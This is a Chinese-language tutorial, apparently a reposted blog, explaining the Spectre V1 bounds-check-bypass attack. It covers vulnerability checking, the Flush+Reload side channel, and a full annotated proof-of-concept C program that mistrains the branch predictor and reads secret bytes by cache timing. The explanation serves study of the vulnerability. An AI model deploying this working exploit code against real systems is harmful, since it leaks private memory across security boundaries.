Spectre V1理论与实践
Spectre V1理論與實踐
- 檢測系統是否存在Spectre相關漏洞
- 執行Spectre V1攻擊
- Spectre V1原理分析
- Reload+Flush
- Spectre V1:Bounds check bypass
- Spectre V1 attack 代碼分析
- 內存空間概況
- 代碼分析
- 參考
檢測系統是否存在Spectre相關漏洞
環境: VMWare Ubuntu18.04
使用spectre-meltdown-checker程序進行檢測:
git clone https://github.com/speed47/spectre-meltdown-checker.git cd spectre-meltdown-checker ./spectre-meltdown-checker.sh結果如下:
對于Spectre V1:邊界檢查繞過漏洞顯示"不易受影響"狀態,緩解措施為“用戶指針消毒”。
目前此類緩解措施是:使用修改過的編譯器重新編譯軟件和內核,在生成的代碼中的適當位置引入LFENCE操作碼。這是針對編譯器層面的措施。也就是說一般的GCC編譯器編譯生成的代碼仍可發動spectre V1攻擊[1]。
執行Spectre V1攻擊
攻擊代碼見參考[2],與論文[3]中的示例代碼相同。
git clone https://gitee.com/mirrors_Eugnis/spectre-attack.git cd spectre-attack make ./spectre.out運行結果如下:可以看到攻擊成功,獲取了內存信息。
Spectre V1原理分析
Reload+Flush
如下圖:Flush共享cache使cache中不包含數組a相關內容。等待受害者訪問數據后,攻擊者遍歷a[0 * 4096],…,a[255 * 4096],假設受害者訪問過a[x*4096],此處的訪問時間會明顯小于其他位置。
Spectre V1:Bounds check bypass
攻擊的準備階段:
- 確定惡意的x值(邊界檢查之外的),使得array1[x]能夠被解析為受害者內存中的秘密字節k;
- array1_size和array2未在cache中,k在cache中;
- 預訓練使用合法的x值誤導分支預測器(mistrain branch prediction),是它總是預測為taken。
攻擊的實現階段:
- 設置設置 x = (address of a secret byte to read) ? (base address of array1)
- 讀array1_size時cache miss,訪問memory產生延遲,因此需要較長時間才能確定分支結果;
- 預測執行將array1[x]的地址解析為base address of array1 + x,即address of a secret byte to read,讀取secret byte k,cache hit;
- 預測邏輯執行使用k計算array2[k * 4096]的地址,并訪問內存(cache miss)獲取該地址數據;
- 處理器檢測到misprediction,恢復寄存器狀態,但array2[ k * 4096]的數據已經被寫入cache。
Flush + Reload階段:
- 攻擊者測試array2的哪一個數據被讀入cache;
- 依次訪問array2[mix_i * 4096],比較不同mix_i的值對應的訪問時間;
- 時間很小則說明此mix_i對應的array2[mix_i * 4096]在攻擊階段被寫入cache,即k = mix_i;
Spectre V1 attack 代碼分析
內存空間概況
代碼分析
#include <stdio.h> #include <stdint.h> #include <string.h> #ifdef _MSC_VER #include <intrin.h> /* for rdtscp and clflush */ #pragma optimize("gt", on) #else #include <x86intrin.h> /* for rdtscp and clflush */ #endif/* sscanf_s only works in MSVC. sscanf should work with other compilers*/ #ifndef _MSC_VER #define sscanf_s sscanf #endif/******************************************************************** Victim code. ********************************************************************/ unsigned int array1_size = 16; //在array1前后各定義64字節未使用內存空間 uint8_t unused1[64]; //uint8_t 定義array1的每個元素1字節,memory中一個地址空間存儲1 byte,即8 bits數據,對應一個ASCII值 uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16}; uint8_t unused2[64]; //緩存行:a cache line = 64 bytes = 512 bits uint8_t array2[256 * 512];//秘密信息:target char* secret = "The Magic Words are Squeamish Ossifrage.";//用于使編譯器不會優化victom_function() uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */void victim_function(size_t x) {if (x < array1_size){//這里array2的值也不重要,只要操作將array2[array1[x]*512]寫入cache即可。temp &= array2[array1[x] * 512];} }/******************************************************************** Analysis code ********************************************************************/ //設置cache hit的周期閾值 #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */ //最優guess:value[0],次優guess:value[1] void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {static int results[256];int tries, i, j, k, mix_i;unsigned int junk = 0;size_t training_x, x;register uint64_t time1, time2;volatile uint8_t* addr;for (i = 0; i < 256; i++)results[i] = 0;for (tries = 999; tries > 0; tries--){//uint8_t array2[256 * 512];clflush m8:清除包含地址m8的cache line。for (i = 0; i < 256; i++)_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction *///30次循環:每訓練5次(x=training_x),攻擊1次(x=malicious_x)。array1_size=16training_x = tries % array1_size;for (j = 29; j >= 0; j--){//從cache中驅逐array1_size_mm_clflush(&array1_size);//延遲,也可以使用mfence,這一部分是必須的,刪除后會攻擊失敗。//mfence:保證內存訪問(讀/)的串行化,內部操作就是在一系列內存訪問中添加若干延遲,//保證此指令之后的內存訪問發生在此指令之前的內存訪問完成之后(不出現重疊)for (volatile int z = 0; z < 100; z++){} /* Delay (can also mfence) *//* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 *//* Avoid jumps in case those tip off the branch predictor *///j x x x對應輸出:29 0 0 training_x,28 0 0 training_x,...,24 -65536 -1 malicious_x,...//這部分邏輯就是控制5次training_x,1次malicious_xx = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */x = training_x ^ (x & (malicious_x ^ training_x));/* Call the victim! */victim_function(x);}/* Time reads. Order is lightly mixed up to prevent stride prediction */for (i = 0; i < 256; i++){//mix_i隨機取遍0~255,為了防止stride prediction,對順序輕微混淆mix_i = ((i * 167) + 13) & 255;addr = &array2[mix_i * 512];//開始計時time1 = __rdtscp(&junk); /* READ TIMER *///訪問array2[mix_i * 512]junk = *addr; /* MEMORY ACCESS TO TIME *///結束計時&計算訪問時間time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME *///若訪問時間小于cache hit閾值,array1[malicious_x]=mix_i的分數+1if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])results[mix_i]++; /* cache hit - add +1 to score for this value */}//最優/次優結果:j/kj = k = -1;//每一輪都對result[255]進行一次for (i = 0; i < 256; i++){if (j < 0 || results[i] >= results[j]){//將最大值賦給j,次大值賦給kk = j;j = i;}else if (k < 0 || results[i] >= results[k]){k = i;}}//判斷是否需要提前終止比較,可以刪除if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */}results[0] ^= junk; /* use junk so code above won't get optimized out*/value[0] = (uint8_t)j;score[0] = results[j];value[1] = (uint8_t)k;score[1] = results[k]; }int main(int argc, const char* * argv) {//輸出secret的值與內存地址,地址為0x5633a23e8ef8printf("Putting '%s' in memory, address %p\n", secret, (void *)(secret));//初始化malicious_x,其初值為secret與array1的地址差值//secret:0x55fbca790f28,array1:0x55fbca992040//malicious_x=0x55fbca790f28-0x55fbca992040 = -2101544//此外array2:0x558df22cc580,unused1:0x560c3d0ba540,unused2:0x556f96926580size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x *///最優guess[0]對應的分數:score[0]int score[2], len = strlen(secret);//最優guess:value[0],次優guess:value[1]uint8_t value[2];for (size_t i = 0; i < sizeof(array2); i++)array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */if (argc == 3){sscanf_s(argv[1], "%p", (void * *)(&malicious_x));malicious_x -= (size_t)array1; /* Convert input value into a pointer */sscanf_s(argv[2], "%d", &len);printf("Trying malicious_x = %p, len = %d\n", (void *)malicious_x, len);}printf("Reading %d bytes:\n", len);while (--len >= 0){//最初malicious_x=-2101544,轉2進制10 0000 0001 0001 0010 1000//取補碼:1101 1111 1110 1110 1101 1000,即0xffffffffffdfeed8printf("Reading at malicious_x = %p... ", (void *)malicious_x);//依次對所有字節發起攻擊!readMemoryByte(malicious_x++, value, score);printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));//輸出value[0]的值,value[0]為字符對應的ASCII碼,字符有效則輸出,無效則'?'。printf("0x%02X='%c' score=%d ", value[0],(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);if (score[1] > 0)printf("(second best: 0x%02X='%c' score=%d)", value[1],(value[1] > 31 && value[1] < 127 ? value[1] : '?'),score[1]);printf("\n");} #ifdef _MSC_VERprintf("Press ENTER to exit\n");getchar(); /* Pause Windows console */ #endifreturn (0); }參考
[1] https://zhuanlan.zhihu.com/p/457630674
[2] 源碼:https://gitee.com/mirrors_Eugnis/spectre-attack?_from=gitee_search
[3] 論文: Spectre Attacks: Exploiting Speculative Execution
總結
以上是生活随笔為你收集整理的Spectre V1理论与实践的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 云服务器防火墙开放端口访问--电信云服务
- 下一篇: 自学3D游戏建模有哪些教材?自学难不难?